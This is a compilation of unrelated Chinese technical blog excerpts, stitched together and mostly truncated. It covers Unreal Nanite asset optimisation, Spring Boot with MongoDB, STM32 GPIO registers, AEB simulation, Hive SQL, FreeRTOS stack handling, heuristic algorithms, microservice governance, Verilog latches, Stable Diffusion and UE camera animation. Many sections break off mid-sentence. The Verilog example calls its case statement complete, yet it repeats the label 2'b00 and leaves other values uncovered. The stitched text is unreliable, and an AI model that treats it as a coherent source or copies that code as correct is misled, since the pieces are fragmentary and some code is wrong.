一般来说还是需要分UV,因为表面的细节不仅仅是凹凸还有颜色。引擎绘制的是三角面而不是顶点。模型顶点的密度也不均匀,所以光栅化的三角面的颜色无法提供足够高的高频细节。也就是如果有适当分辨率的颜色贴图,它的信息量会远远大于三角面光栅化后的颜色变化。所以仅仅用顶点色来表现颜色效果是不佳的。而且很高顶点数量的模型,如果加入了顶点色也会带来很大的数据量。 还有在Nanite的渲染时,三角面的优化过程当中。如果有顶点色结合一起工作,可能会带来一些其它的问题。这个后面会有所提及。 下面是高模斩UV的视频,可以自行搜索。 关于模型UV/顶点色/法线/LOD 关于模型的UV/顶点色/法线/LOD对Nanite的渲染效率以及数据量的影响。 UV它的cluster或者被拆分时候打散的程度,以及UV顶点是否被焊起来,还有就是UV的通道数量,这些都会非常大的影响数据量。另外UV cluster的拆分也会影响减面和剔除效果。 顶点色本身会占用额外的数据。另外顶点色也会影响减面的效果,并有可能产生问题。比如拉远减面的过程中会产生一些跳变。另外,Nanite目前还不支持在实例上直接绘制顶点色。 顶点的法线的复杂程度或者是否被打散或者说光滑组的多少都会影响Nanite在渲染是的一个减面效果。同时打散的顶点法线也会增加数据量。 关于LOD,Nanite没有LOD一说。但是它有一个Fallback Mesh,它是用来作为复杂的碰撞体或者Lumen在渲染时候的Lumen Scence的一个捕获对象。以及如果使用光线追踪的阴影的话,默认的投影对象。所以在这个层面上我们是需要生成这个Fallback Mesh。但生成的复杂度不用太高,主要还是为了Lumen Scence的捕获。 具体演示看视频。 如何减少Nanite的数据量? 在内容浏览器里把鼠标放在资产上会显示一些相关的数字。 Disk Size也就是资产在磁盘上的大小。另外,这里有一个Nanite的压缩的尺寸(Est Nanite Compressed Size)以及最终压缩总的一个包的尺寸(Est Compressed Size)。Est Compressed Size是打包以后的大小。尺寸相差非常大。因为Nanite的压缩率比普通的Mesh要大得多。但是在编辑器里面因为我们有可能随时开关的Nanite,所以它的资产里面其实保留了原始的模型的数据。所以磁盘上的数据大小是原始的模型数据加上Nanite的模型数据。所以对于数据量的减少我们不能指望Nanite的高压缩率,而是得回到模型本身或者在做法上面实实在在的去优化它。

springboot如何整合mongodb

这篇文章主要介绍了springboot如何整合mongodb,mongodb的安装和使用,感兴趣的同学可以参考阅读本文 1.mongodb的安装和简介 1.1简介 MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。在高负载的情况下,添加更多的节点,可以保证服务器性能。MongoDB 旨在为WEB应用提供可扩展的高性能数据存储解决方案。MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。 1.2安装 网上安装的教程也比较多,我在这里就不再多说了。直接提供一下我自己的db安装包和可视化安装包,这里的版本可能有点旧,需要新的包可以自行去网上下载! 1.3配置环境变量和检查安装情况 这里的配置类似于jdk的配置,不再多说!查看安装和启动数据库 2.springboot集成mongodb 为了节省篇幅,好多注释和空行都去掉了,大家见谅! 2.1pom文件中maven的引入 1 2 3 4 5 <!-- mongodb --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-mongodb</artifactId> </dependency> 2.2properties文件配置 1 2 3 #################mongodb################ #spring.data.mongodb.uri=mongodb://username:password@localhost:27017/test spring.data.mongodb.uri=mongodb://localhost:27017/springboot 2.3dao层的编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.lengmo.dao;

GPIO(通用输入/输出端口)

参考STM32G0x0系列 目录 1、GPIO介绍 2、GPIO的基础知识 2.1 GPIO的定义和作用 3、GPIO的工作原理 3.1 GPIO寄存器 3.2 GPIO的工作模式 3.2.1 输入模式 3.2.2 输出模式 推挽输出:两个MOS管都使用 开漏输出:PMOS不使用 4、GPIO常见应用场景 5、GPIO点灯 5.1 查看原理图 5.2 代码实现 6、GPIO总结 1、GPIO介绍 GPIO(General Purpose Input/Output)是通用输入输出引脚的缩写,是嵌入式系统中非常重要的基本硬件资源之一。GPIO是一种非常灵活的接口,可以实现数字输入、数字输出、模拟输入、模拟输出等多种功能。 在嵌入式系统中,GPIO通常在芯片引脚和外部电路之间起到了一个桥梁的作用。通过GPIO,我们可以将内部的信号或数据与外部的设备或传感器进行连接和交互。例如,可以通过GPIO读取按键的状态、控制LED的亮灭,或者连接各种传感器读取温度、湿度、光强等物理量。 因为GPIO非常通用,所以几乎所有的微控制器都具有GPIO功能。在开发嵌入式系统时,我们通常会使用GPIO来实现各种基本的输入输出功能,因此对GPIO的掌握是非常必要的。 在实际应用中,GPIO的使用非常灵活,并且需要根据具体的场景和需求进行配置和操作。掌握GPIO的基本概念、寄存器结构和操作方法,是开发嵌入式系统的重要基础之一。 2、GPIO的基础知识 2.1 GPIO的定义和作用 GPIO(General Purpose Input/Output)是一种通用的输入输出接口,用于连接微控制器、嵌入式系统或其他电子设备与外部世界进行交互。它通过引脚(Pin)来提供数字输入和输出功能。 数字输入:GPIO可以读取外部设备或传感器的数字信号。例如,读取按键状态、检测外部开关状态、接收来自其他设备的数据等。 数字输出:GPIO可以控制外部设备或执行器的状态。例如,控制LED灯的亮灭、驱动蜂鸣器发声、控制继电器开关等。 中断功能:通过将GPIO配置为中断模式,可以在外部事件触发时产生中断请求,以实现实时响应或处理特定事件。 模拟输入/输出:某些GPIO引脚支持模拟信号输入输出,可以读取或输出模拟量信号,如读取光强传感器的光照值、控制电机的转速等。 多功能引脚:有些GPIO引脚具有多种功能,可以通过配置选择不同的工作模式,如串行通信接口(SPI、I2C、UART)、定时器输入/输出等。 3、GPIO的工作原理 3.1 GPIO寄存器 当我们说到操作一个外设或者是完成某一个功能时,其实都是在操作寄存器,那么到底什么是寄存器呢?简单说:寄存器就是一个内存单元,一个具有特殊功能的内存单元。比方说,这一块地址的功能是管理输出能力的,那么我们为了方便,就给它起一个名字,叫做输出寄存器。目前可能还不是很好理解,下面我会给出详解。先看一张图片: 图3-1 存储器映像图 简单说说这张图,最左边的八大块,每一块都有一个地址范围,大小都是512M,那么加起来刚好是4G,也就是2^32,这刚好就是STM32刚好是32位,类比,你一个8位的单片机,内存可能就是1G。上面提到过,为了方便管理以及使用,将每一个内存单元划分为不同的模块,每个模块的功能各有不同。举个例子:一栋楼,每一层楼都是一个部门,每个部门负责的任务不一样,那么为了方便,出现研发部,市场部……寄存器划分同样如此。 那么到底是怎么规定的呢?或者说到底怎么就说实质是在操作寄存器呢?看看下面两张图,需要结合起来看。 图3-2 寄存器配置图 图3-3 引脚视图 你可以想象一下,一个32位的小盒子,管理0~15,16个部门,那么也就是说两个盒子控制一个部门。配置1号盒子,也就是图中划出的部分,我将二三位配置为00,代表我的一号引脚就是输出模式,这样说应该很清楚吧?对于如何将某两位配置为00,你可以参考以下的过程 图3-4 配置过程图 在不改变以前每一位数的情况下(3向左移位2再取反),将二三位都改成了0,代表一号引脚的模式就是输出模式。上述还给给出了一个叫偏移地址的东西,那么这么理解呢? 图3-5 结构体地址偏移图 定义一个结构体,那么这个结构体会在内存单元中存储下来,比如这个结构体存储在0x22222222这个内存单元 ,那么对于b成员的首地址,它就是0x22222226,里面的0x04就是偏移地址,偏移这个结构体的地址,也就是相对于这个结构体而言。最后在过一下“操作外设就是操作寄存器这句话”。倘若你有一个结构体, 图3-6 寄存器访问图 比如我定义一个结构体,名字就叫GPIOA,当你GPIOA->MODER &= (~(3<<2))的时候,是不是很熟悉?这个不就是在操作寄存器吗?你结合结构体想一想,我通过宏定义取到一个地址,这个地址就是寄存器的地址,直接给寄存器赋值,你使用的时候就是通过一个结构体成员来赋值,其实是一样的,只是为什么使用结构体,这个结构体怎么来的,你真的知道吗?分析一下,为什么我使用无符号32位int,为什么我使用32位?以及*号是否可以去掉?我就说一句:16号引脚,每个引脚占两位,刚好就是32位,为什么取地址,因为我要的就是某个寄存器的地址,不加*号怎么能是地址呢?不还是一个数字吗? 结合以上的图,多看两遍,我相信你对这句话一定会有自己独特的认识。 3.2 GPIO的工作模式 图3-7 GPIO引脚输入/输出

11-11 AEB 算法建模

本专题由深圳季连AIgraphX李博及团队出品,重点讲解AEB工作原理、系统/软件架构及需求、算法建模、CCRs/CCRb/CCRm 建模与仿真和VRU-AEB-B/P/M 建模与仿真。 本节重点讲解AEB算法建模。 1. 算法简介 本算法使用PreScan和MATLAB联合仿真实现。 1.1 仿真的作用 前期系统匹配 中间算法开发 集成验证,以下几种XiL测试环境被广泛应用于汽车行业仿真测试之中: 模型在环(MiL)软件在环(SiL)处理器在环(PiL)硬件在环(HiL)车辆在环(ViL) 通用V模型中的XiL测试环境分类(MiL, SiL, HiL): PS:大卫太空飞梭是深圳季连AIgraphX原csdn账号名。 在V模型的左侧部分是技术系统设计。 测试人员可以针对这些系统测试在MiL测试环境中进行测试。如果测试对象和MiL测试环境得到了进一步开发,则测试人员还可以在此测试环境中进行组件和集成测试。如果对测试对象的单个组件进行了编程和编译,则测试人员可以使用SiL测试环境。SiL测试环境的典型测试是组件和集成测试。这些可以在V-Model的右侧验证中找到。在系统测试中,测试对象的某些功能得到了充分开发。 测试人员可以在HiL测试环境中进行系统测试。 1.2 仿真元素 环境模型 天气 光照 道路 物体 感知模型 毫米波雷达 摄像头 是否可以模拟不同信号源 超声波雷达 激光雷达 地面吸附力较强怎么解决? 被控对象模型 车辆动力学模型 驾驶员模型 算法 1.3 ASPICE流程 系统/软件需求 设计 验证 详细内容请参见本公司分享文档: 11-2 智能汽车软件开发流程详细解析-CSDN博客 2. PreScan模型 使用PreScan Process Manager工具打开PreScan、Matlab 2.1 被控车辆模型 2.1.1 轨迹控制 D:\AIgraphX\Experiments\TestScenarios\AEBS\NCAP_AEBS_Test_T1_CCR_m\NCAP_AEBS_Test_T1_CCR_m.pex 2.1.2 驾驶员模型-轨迹跟踪 2.1.3 车辆参数 如果企业有真实雷达数据,替换该文件,提高精度。 2.1.4 动力学模型 2.1.5 轮胎设置 2.1.6 制动灯 2.2 感知模型 两个传感器TIS

【大数据】Hive_DDL、DML

文章目录 一、DDL数据定义1. 数据库1.1 创建数据库1.2 查询数据库1.3 修改数据库1.4 删除数据库1.5 切换当前数据库 2. 表(table)2.1 创建表2.1.1 普通建表2.1.2 Create Table As Select(CTAS)建表2.1.3 Create Table Like建表2.1.4案例 2.2 查看表2.3 修改表2.4 删除表2.5 清空表 二、DML数据操作1. Load2. Insert2.1 将查询结果插入表中2.2 将给定Values插入表中2.3 将查询结果写入目标路径 3. Export&Import 一、DDL数据定义 1. 数据库 1.1 创建数据库 (1)语法 CREATE DATABASE [IF NOT EXISTS] database_name [COMMENT database_comment] [LOCATION hdfs_path] [WITH DBPROPERTIES (property_name=property_value, ...)]; (2)案例 -- 创建一个数据库,不指定路径 create database db_hive1; -- 创建一个数据库,指定路径 create database db_hive2 location '/db_hive2'; -- 创建一个数据库,带有dbproperties create database db_hive3 with dbproperties('create_date'='2023-9-22'); 若不指定路径,其默认路径为${hive.

freertos中函数调用和启动第一个任务(栈相关!!!!!!)

本内容仅就一些较难理解的点讲解,请结合其它文章实用 在函数调用时,m3的处理器使用r0-r3共四个寄存器传参,其余的使用栈传参。 但是,如果传入的参数是全局变量,则不需传参,因为全局变量在函数内部是可见的,可直接赋值或修改。 前四个参数使用寄存器传参(全局变量还是用了寄存器,应该是硬件的原因),后三个是全局变量。没有用栈。 函数调用前,sp的值为0x20001708, 进入函数内部,sp的值依然为0x20001708.所以上述可证。 而且,函数在调用时会保存上下文,比如这里是r4-r11,lr.(因为这里可能会用到以上寄存器)其中只有lr的值因为函数调用而发生了改变。从86b变为c9d。在此函数返回后,栈的值依然会是0x20001708,lr最后一个出栈到PC. 返回前sp为0x200016d0, 返回后,栈的值依然会是0x20001708。 对于LR寄存器保存的是函数返回地址。没有问题,但是在启动任务调用时,却不一样了。 对于CM3,使用OS时,有双堆栈机制(在权威指南有讲)。 在启用第一个任务前一直使用的是MSP. __asm void prvStartFirstTask( void ) { PRESERVE8 /* Use the NVIC offset register to locate the stack. */ ldr r0, =0xE000ED08 ldr r0, [r0] ldr r0, [r0] /* Set the msp back to the start of the stack. */ msr msp, r0 /* Globally enable interrupts. */ cpsie i cpsie f dsb isb /* Call SVC to start the first task.

运筹优化问题-离散优化算法

启发式算法(heuristic algorithm)是相对于最优化算法提出的。一个问题的最优算法求得该问题每个实例的最优解。也就是说,在允许运行时长足够长的 情况下,确保得到一个最优方案。但是大量重要的ILP和INLP问题,并不存在多项式时间的解法,因此,启发式算法可以这样定义:一个基于直观或经验构造的算法,在可接受的花费(指计算时间和空间)下给出待解决组合优化问题每一个实例的一个可行解,该可行解与最优解的偏离程度一般不能被预计。 计算机科学的两大基础目标,就是发现可证明其执行效率良好且可得最佳解或次佳解的算法。而启发式算法则试图一次提供一或全部目标。 例如它常能发现很不错的解,但也没办法证明它不会得到较坏的解;它通常可在合理时间解出答案,但也没办法知道它是否每次都可以这样的速度求解。 有时候人们会发现在某些特殊情况下,启发式算法会得到很坏的答案或效率极差,然而造成那些特殊情况的数据组合,也许永远不会在现实世界出现。因此现实世界中启发式算法常用来解决问题。启发式算法处理许多实际问题时通常可以在合理时间内得到不错的答案。 启发式算法可分为传统启发式算法和元启发式算法。传统启发式算法包括构造型方法、局部搜索算法、松弛方法、解空间缩减算法等。 元启发式算法包括禁忌搜索算法、模拟退火算法、遗传算法、蚁群优化算法、粒子群优化算法、人工鱼群算法、人工蜂群算法、人工神经网络算法等。 传统启发式算法 1.构造性启发式算法 该算法逐个选择离散决策变量的值,直到得到一个完整的可行解位置。该方法从部分解开始,一次只选择一个决策变量的值,经常在完成第一次可行方案时停止。 基础的构造性搜索算法,从每一个自由决策变量的离散分类开始,在每次迭代中,在当前决策解固定的情况下,一个先前的自由变量固定为一个可行值,也就是说,当我们替换以前的固定值并且采用自由变量时,为新分量所选定的值不应该产生违反约束的情况。在最简单的情况下,当没有自由变量存在时,搜索过程停止。 构造性搜索的主要难点在于,如何选择下一个待固定的自由变量并且确定它的值,而贪婪或者短视算法是解决这一问题最常见的方法。 贪婪算法的规则是,在目前已知内容的基础上,选择固定被选中概率最大的变量,从而得到更好的可行解。由于该算法在进行下次选择时只能依靠局部信息,因此在一般情况下这样做存在一定风险,在贪婪算法中一个只有少数变量固定的并且看起来变现很好的解实际上会迫使搜索进入可行空间中非常差的区域。 实际上,构造性搜索算法更适合求解大规模,并且通常是非线性的高度组合的离散模型或者需要快速求解的情况下,一般采用分支定界,分支切割等。 2.局部搜索 在搜索过程中,始终选择当前点的邻居中与离目标最近者的方向搜索。 算法过程 (1)随机选择一个初始的可能解x0 ∈D,xb=x0,P=N(xb); //D是问题的定义域, xb用于记录到目标位置的最优解,P为xb的邻域。 (2)如果不满足结束条件,则: //结束条件为循环次数或P为空等 (3)Begin; (4)选择P的一个子集P',xn为P’的最优解 ; //P’可根据问题特点,选择适当大小的子集。可按概率选择 (5)如果f(xn)<f(xb),则xb=xn,P=N(xb),转(2); //重新计算P,f(x)为指标函数 (6)否则P=P-P',转(2); (7)End; (8)输出计算结果; (9)结束 ; 3.爬山法 将搜索过程比作爬山过程,在没有任何有关山顶的其他信息的情况下,沿着高度增加的方向爬。如果相邻状态没有比当前值更高,则算法停止,认为当前值即为顶峰。 算法过程 (1) 设置初始状态n=s0为当前状态; (2) 如果当前状态已达标,算法结束,搜索成功; (3)获取当前状态n的若干个临近状态m,计算这些h(m), nextn=min{h(m)}; (4) IF h(n) < h(nextn) THEN n:=nextn; ELSE 取当前状态为最佳状态并退出; (5) GOTO (2)步; 该算法在单峰的条件下,必能达到山顶。 显而易见爬山法对于复杂情况的求解会遇到以下问题: (1)局部极值 (2)山脊:造成一系列的局部极值 (3)高原:平坦的局部极值区域——解决办法:继续侧向移动 目前有些改进的爬山法,比如随机爬山法、首选爬山法等等不再细说。它是禁忌搜索(Tabu Search)的基础,TS算法是在其上改进而来。 元启发式算法(Meta-heuristic Algorithm) 元启发式算法是启发式算法的改进,是随机算法与局部搜索算法相结合的产物。元启发式是一个迭代生成过程,通过对不同概念的智能组合,该过程以启发式算法实现对搜索空间的探索和开发。在这个过程中,学习策略被用来获取和掌握信息,以有效地发现近似最优解。 1.禁忌搜索算法 标记已经解得的局部最优解或求解过程,并在进一步的迭代中避开这些局部最优解或求解过程。局部搜索的缺点在于,太过于对某一局部区域以及其邻域的搜索,导致一叶障目。为了找到全局最优解,禁忌搜索就是对于找到的一部分局部最优解,有意识地避开它,从而或得更多的搜索区域 (1)给定一个禁忌表(Tabu List)H=null,并选定一个初始解X_now.

微服务治理:构建强大、健壮的分布式系统

文章目录 什么是微服务治理?微服务治理的挑战1. 服务注册和发现2. 负载均衡3. 故障处理4. 安全性5. 监控和日志记录 构建强大的微服务治理1. 服务网格2. 服务注册和发现3. 负载均衡4. 故障处理5. 安全性6. 监控和日志记录 微服务治理的未来 🎉欢迎来到架构设计专栏~微服务治理:构建强大、健壮的分布式系统 ☆* o(≧▽≦)o *☆嗨~我是IT·陈寒🍹✨博客主页:IT·陈寒的博客🎈该系列文章专栏:架构设计📜其他专栏:Java学习路线 Java面试技巧 Java实战项目 AIGC人工智能 数据结构学习🍹文章作者技术和水平有限,如果文中出现错误,希望大家能指正🙏📜 欢迎大家关注! ❤️ 随着企业对分布式系统的依赖程度不断增加,微服务架构已经成为了构建现代应用程序的主要方式之一。微服务的好处众所周知:它们提供了更大的灵活性、可伸缩性和独立部署的能力。然而,微服务架构也带来了一些挑战,其中之一就是治理。本文将探讨微服务治理的重要性,以及如何构建强大和健壮的分布式系统。 什么是微服务治理? 微服务治理是指一组策略、原则和工具,用于管理和监控微服务架构中的各个组件。这包括服务注册和发现、负载均衡、故障处理、安全性、监控和日志记录等方面。微服务治理的目标是确保微服务之间的通信顺畅、稳定,并且能够应对各种故障和安全威胁。 在微服务架构中,有数以千计的微服务实例可能会相互通信,因此治理是至关重要的。没有有效的治理策略,微服务架构可能会变得混乱不堪,难以维护和扩展。 微服务治理的挑战 微服务治理面临许多挑战,其中一些包括: 1. 服务注册和发现 微服务需要能够找到其他微服务的位置和地址,以便进行通信。这需要一个可靠的服务注册和发现机制,以确保微服务实例的动态扩展和缩减时,其他微服务可以及时发现它们。 2. 负载均衡 在微服务架构中,可能有多个微服务实例提供相同的服务。负载均衡是确保请求被均匀分配到不同实例之间的重要组成部分,以提高性能和可用性。 3. 故障处理 分布式系统中的故障是不可避免的。微服务治理需要包括故障检测、故障恢复和故障隔离等策略,以最小化故障对系统的影响。 4. 安全性 微服务之间的通信需要保护,以防止未经授权的访问和数据泄漏。安全性是微服务治理的一个关键方面,需要采用适当的认证和授权机制。 5. 监控和日志记录 了解微服务的性能和健康状况对于及时发现和解决问题至关重要。因此,监控和日志记录是微服务治理的一个重要方面。 构建强大的微服务治理 要构建强大和健壮的微服务治理,需要采用一系列最佳实践和工具。以下是一些关键方面: 1. 服务网格 服务网格是一种用于处理微服务通信的基础设施层。它可以提供服务注册和发现、负载均衡、故障处理和安全性等功能。一些流行的服务网格包括Istio、Linkerd和Envoy。 # 示例:使用Istio部署服务网格 istioctl install kubectl apply -f samples/bookinfo/platform/kube/bookinfo.yaml kubectl apply -f samples/bookinfo/networking/bookinfo-gateway.yaml 2. 服务注册和发现 使用服务注册和发现工具,如Consul、Etcd或Zookeeper,来管理微服务的位置和状态。这些工具可以确保微服务实例的动态注册和发现。 # 示例:使用Consul进行服务注册和发现 consul agent -dev 3.

Verilog基础之十五、锁存器实现

目录 一、前言 二、工程设计 2.1 工程代码 2.2 综合结果 2.3 Latch实现 一、前言 在之前的文章中介绍过寄存器,本节介绍一个类似的逻辑单元:锁存器。在大部分的资料和文章介绍中,都是告诉读者设计中应尽量避免出现锁存器,这主要是由锁存器的特点决定的。 锁存器和普通触发器最大的区别就是锁存器为电平触发,如高电平或低电平,而触发器为边沿触发,这一特性使得锁存器不如触发器稳定,电平触发容易受干扰信号的影响而导致状态变化,也即产生毛刺。另一方面,因为可不受时钟控制,不利于时序分析,时序分析更加复杂。 二、工程设计 以器件xc7k480tffv1156-1为例,在器件的原语列表中,有两种类型的锁存器:LDCE(异步清零/复位),LDPE(异步置位) 可以直接例化生成锁存器,此种方式将不介绍,主要介绍RTL代码生成锁存器。 2.1 工程代码 设计中包含正常综合LDPE,LDCE的场景以及设计不完整意外导致锁存器的场景 module Latch(clk,d,rst,ce,sel,o_ify,o_ifn,o_casey,o_casen,o_LDCE,o_LDPE); input clk,d,rst,ce; input [1:0] sel; output reg o_ify,o_ifn; output reg o_casey,o_casen,o_LDCE,o_LDPE; //if语句完整,不会综合出latch always@(*) begin if(!ce) o_ify=0; else o_ify=d; end //场景一:if语句不完整,缺少else语句 always@(*) begin if(ce) o_ifn=d; end //case语句完整 always@(*) begin case(sel) 2'b00:o_casey=d; 2'b00:o_casey=rst; default: o_casey=0; endcase end //场景二:case语句不完整,无default语句 always@(*) begin case(sel) 2'b00:o_casen=d; 2'b00:o_casen=rst; endcase end //场景三:latch实现代码,实现两种latch,LDCE,LDPE always@(*) begin if(ce) begin o_LDCE=0; o_LDPE=1; end else if(clk) begin o_LDCE=d; o_LDPE=d; end end endmodule 2.

Stable Diffusion原理解读通俗易懂,史诗级万字爆肝长文!

作者 | tian-feng 编辑 | 极市平台 原文链接:https://zhuanlan.zhihu.com/p/634573765 点击下方卡片,关注“自动驾驶之心”公众号 ADAS巨卷干货,即可获取 点击进入→自动驾驶之心【扩散模型】技术交流群 本文只做学术分享,如有侵权,联系删文 导读 超详细stable diffusion论文解读,读完这篇再也不会学不懂了! 个人网站:https://tianfeng.space/ 一、前言(可跳过) hello,大家好我是 Tian-Feng,今天介绍一些stable diffusion的原理,内容通俗易懂,因为我平时也玩Ai绘画嘛,所以就像写一篇文章说明它的原理,这篇文章写了真滴挺久的,如果对你有用的话,希望点个赞,谢谢。 stable diffusion作为Stability-AI开源图像生成模型,其出现也是不逊于ChatGPT,其发展势头丝毫不差于midjourney,加上其众多插件的加持,其上线也是无线拔高,当然,手法上也稍微比midjourney复杂点。 至于为什么开源,创始人:我这么做的原因是,我认为这是共同叙事(shared narrative)的一部分,有人需要公开展示发生了什么。再次强调,这应该默认就是开源的。因为价值不存在于任何专有模型或数据中,我们将构建可审计(auditable)的开源模型,即使其中包含有许可数据。 话不多说,开整。 二、stable diffusion 对于上面原论文的图片可能小伙伴理解有困难,但是不打紧,我会把上面图片分成一个个单独的模块进行解读,最后组合在一起,相信你们一定可以理解图片每一步干了什么事。 首先,我会画一个简化模型图对标原图,以方便理解。让我们从训练阶段开始,可能你们发现少了VAEdecoder,这是因为我们训练过程是在潜空间完成,decoder我们放在第二阶段采样阶段说,我们所使用的stablediffusion webui画图通常是在采样阶段,至于训练阶段,目前我们大多数普通人是根本完成不了的,它所需要训练时间应该可以用GPUyear来计量,(单V100的GPU要一年时间),如果你有100张卡,应该可以一个月完成。至于ChatGPT光电费上千万美金,上万GPU集群,感觉现在AI拼的就是算力。又扯远了,come back 1.clip 我们先从提示词开始吧,我们输入一段提示词a black and white striped cat(一条黑白条纹的猫),clip会把文本对应一个词表,每个单词标点符号都有相对应的一个数字,我们把每个单词叫做一个token,之前stablediffusion输入有限制只能75个单词(现在没了),也就是75个token,看上面你可能发现6个单词怎么对应8个token,这是因为还包含了起始token和结束token,每个数字又对应这一个768维的向量,你可以看作每个单词的身份证,而且意思非常相近的单词对应的768维向量也基本一致。经过clip我们得到了一个(8,768)的对应图像的文本向量。 stable diffusion所使用的是openAi的clip的预训练模型,就是别人训练好的拿来用就行,那clip是怎么训练出来的呢?他是怎么把图片和文字信息对应呢?(下面扩展可看可跳过,不影响理解,只需要知道它是用来把提示词转成对应生成图像的文本向量即可) CLIP需要的数据为图像及其标题,数据集中大约包含4亿张图像及描述。应该是直接爬虫得来,图像信息直接作为标签,训练过程如下: CLIP 是图像编码器和文本编码器的组合,使用两个编码器对数据分别进行编码。然后使用余弦距离比较结果嵌入,刚开始训练时,即使文本描述与图像是相匹配的,它们之间的相似性肯定也是很低的。 随着模型的不断更新,在后续阶段,编码器对图像和文本编码得到的嵌入会逐渐相似。在整个数据集中重复该过程,并使用大batch size的编码器,最终能够生成一个嵌入向量,其中狗的图像和句子「一条狗的图片」之间是相似的。 给一些提示文本,然后每种提示算相似度,找到概率最高的即可 2.diffusion model 上面我们已经得到了unet的一个输入了,我们现在还需要一个噪声图像的输入,假如我们输入的是一张3x512x512的猫咪图像,我们不是直接对猫咪图像进行处理,而是经过VAE encoder把512x512图像从pixel space(像素空间)压缩至latent space(潜空间)4x64x64进行处理,数据量小了接近64倍。 潜在空间简单的说是对压缩数据的表示。所谓压缩指的是用比原始表示更小的数位来编码信息的过程。维度降低会丢失一部分信息,然而在某些情况下,降维不是件坏事。通过降维我们可以过滤掉一些不太重要的信息你,只保留最重要的信息。 得到潜空间向量后,现在来到扩散模型,为什么图像加噪后能够还原,秘密都在公式里,这里我以DDPM论文作为理论讲解,论文,当然还有改进版本DDIM等等,感兴趣自己看 forward diffusion (前向扩散) 首先是forward diffusion (前向扩散),也就是加噪过程,最后就快变成了个纯噪声 每一个时刻都要添加高斯噪声,后一时刻都是由前一刻是增加噪声得到 那么是否我们每一次加噪声都要从前一步得到呢,我们能不能想要第几步加噪图像就能得到呢?答案是YES,作用是:我们训练过程中对图像加噪是随机的,假如 我们随机到100步噪声,(假设设置时间步数200步),如果要从第一步加噪,得到第二步,循环往复,太费时间了,其实这些加的噪声有规律的,我们现在的目标就是只要有原始图像X0,就可以得到任意时刻图像加噪声的图像,而不必一步一步得到想要的噪声图像。 我来对上述作讲解,其实该标住的我都标的很清楚了, 第一,αt范围0.9999-0.998, 第二,图像加噪是符合高斯分布的,也就是在潜空间向量加的噪声是符合均值为0,方差为1的,将Xt-1带入Xt中,为什么两项可以合并,因为Z1Z2都是符合高斯分布,那么他们相加Z2'也符合,并且它们的方差和为新的方差,所有把他们各自的方差求和,(那个带根号的是标准差),如果你无法理解,可以把它当做一个定理。在多说一句,对Z-->a+bZ,那么Z的高斯分别也从(0,σ)-->(a,bσ),现在我们得到了Xt跟Xt-2的关系 第三,如果你再把Xt-2带入,得到与Xt-3的关系,并且找到规律,就是α的累乘,最后得到Xt与X0的关系式,现在我们可以根据这个式子直接得到任意时刻的噪声图像。 第四,因为图像初始化噪声是随机的,假设你设置的时间步数(timesteps)为200,就是把0.9999-0.998区间等分为200份,代表每个时刻的α值,根据Xt和X0的公式,因为α累乘(越小),可以看出越往后,噪声加的越快,大概1-0.13的区间,0时刻为1,这时Xt代表图像本身,200时刻代表图像大概α为0.13噪音占据了0.87,因为是累乘所以噪声越加越大,并不是一个平均的过程。 第五,补充一句,重参数化技巧(Reparameterization Trick)

[官方培训]14-摄像机动画运镜 李文磊 Epic 笔记

摄像机动画运镜 DCC里架设镜头潜在限制 导入导出数据同步问题修改迭代效率低无法预览完整效果对Shot的数量产生限制 镜头的动画需要? 引导兴趣点传达和表现兴趣点的行为特征或情绪自然,有机,符合物理运动规律 实现这些点需要的手段 运动方式 速度 稳定性 UE运镜相关功能 曲线控制;速度控制;震动;斯坦你康(ease);惯性;目标追踪;焦点追踪;跟拍;约束;无人机;车载;Rig;摄像机动画重用;Take;关键帧清理优化… … 手动k帧 手动k帧是产生主要动画最重要的一个手段。 下面例子是摄像机位置移动的动画。 我们先做一个摄像机在y轴平移的动画。查看它的曲线面板,对y轴有两个关键帧,默认的曲线是一个逐渐加速并逐渐减速的过程。 现在我们做一个直接加速的过程。我们可以调节这两个关键帧的形态来产生一个加速。 相反我们可以表现一种减速的韵律,减速的效果其实就是一种缓冲的效果。就是类似于像斯坦尼康这种稳定器的效果。 接下来尝试添加一些更复杂的效果。回到加速的动画,在加速的开始阶段有个蓄力的过程。在动画的最后阶段有个惯性的回弹动画。首先把曲线往下拉点给它一种往后蓄力的效果,然后在最终加一个关键帧,对这个关键帧做一些微调,产生一个反弹的效果。 后续我们希望在多向量上也就是加上x和z轴,也能够达到先蓄力后回弹的这么一个韵律的加速动画。我们可以将x和z进行像y一样同样的一个曲率调整,但是这是相当困难和费事的一件事。并且最终的效果也是不可预期的。 此外,我们看下面的一个新k动画。从一个空间位置到另一个空间位置的直线移动。可以看到它的曲线在三向量上它移动的距离或者数值的变化并不一样。所以要做这样韵律的变化是相当困难的有一件事。 在这种情况下如果要做一些韵律的控制可以通过增加关键帧实现。 比如在路径中的这个位置加一个关键帧,然后用鼠标拖动把这个关键帧往前移。就会产生一个一开始很快到这个距离,类似减速的一个效果。 如果中间不满意的话,再添加关键帧进行适当的调整。通过不断的增加关键帧不断的调整来达到一个最终想要的效果。 虽然这样能达成期望,但是我们希望尽量用少的关键帧就能解决问题。 除了对速度韵律的控制比较困难,对中间值的把握或者插值的数值也是比较难控制的,最终反应就是位置或者角度并不是所期望的。 比如说这边用ARC,也就围绕一个选择对象的摄像机动画来说明。 这里为了k帧方便可以打开Editor Preferences下面的Orbit camera around selection,也就是说相机可以围绕选中的对象旋转,这样的话比较容易方便。 我们先k一帧然后到下一时间点转一圈k一帧,然后绕一圈这么k帧。但是这么产生的效果并不是我们想要的效果。我们从相机路径可以看出这是一个个方形的路径。不仅是位置有问题,摄像机对准球的角度也是有问题的,并不是始终对准这个球。 解决这个问题可以不断增加关键帧的密度,相当于逐帧记录。 所以解决这问题的思路是当遇到多向量属性的动画,应尽量把它转换成使用单向量的曲线能够表现出来。对于需要非常微妙的实时调整的那些动画,我们也可以通过一些程序动画表达出来。用不同方式的结合来表现只有逐帧动画才能够表现的复杂效果。 对于这种三维空间复杂的有韵律的运动以及对三向量的动画,我们可以用单向量的轨道动画来实现。因为轨道动画位置的百分比是一个单一的float向量。所以我们更加容易控制它的韵律,以及后期的调整修改也比较方便。 